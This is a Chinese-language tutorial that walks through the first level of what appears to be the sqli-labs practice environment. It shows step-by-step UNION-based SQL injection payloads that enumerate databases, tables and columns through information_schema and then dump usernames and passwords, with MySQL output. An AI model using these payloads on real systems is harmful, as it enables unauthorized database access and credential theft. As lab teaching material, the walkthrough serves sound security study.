第一关如图
首先可以判断这里接受的是一个GET请求,先在1后面加一个' 发现报错,说明这里没有过滤掉引号,所以这里是一个注入点
SQL注入通常有两种类型,整形注入和字符型注入,那么判断这里是哪种注入就要分析这里的报错语句,报错信息中共有5个单引号,"实际上是两个单引号,最外面的两个是报错信息的提示引号,'1 '两边的引号是后台代码的引号,多出来的就是我们加上的,因为这里给输入的1加上了引号所以后台接受的是字符型,那么我们在后续的注入中需要加 '来闭合后面的引号。
接下来需要判断表中有几列,通常使用order by加数字 1 2 3 4 一直试 直到报错为之,这里我们发现4报错了,所以这里有3列
id=1' order by 4 --+
接下来我们需要判断这里的回显位置,因为有三列,所以我们用 id=-1' union select 1,2,3 --+ 发现在2,3的地方可以显示出来,所以我们可以用SQL语句替代 2或者 3或者两者 来达到我们的注入目的。----这里的id=-1是取随机一个不存在的id。
可以看一下sql执行过程
mysql> SELECT * FROM users WHERE id='1' union select 1,2,3 --;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3 --;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
我们这里选择在2的位置放上SQL语句
接下来我们需要查看库名
id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行(博客有文章专门写过这个函数。)
information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列名。
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_BUFFER_PAGE |
| INNODB_TRX |
| INNODB_BUFFER_POOL_STATS |
| INNODB_LOCK_WAITS |
| INNODB_CMPMEM |
| INNODB_CMP |
| INNODB_LOCKS |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_BUFFER_PAGE_LRU |
+---------------------------------------+
40 rows in set (0.00 sec)
可以看到这里有很多表,比如 schemata,columns之类的都是我们接下来要用的
查询完库名,需要查看security库中的表名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
发现有一个users表
查询表中的列名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
查询用户名字:
id=-1' union select 1,(select group_concat(username) from security.users),3 --+
查询用户密码:
id=-1' union select 1,(select group_concat(password) from security.users),3 --+
大概就这些......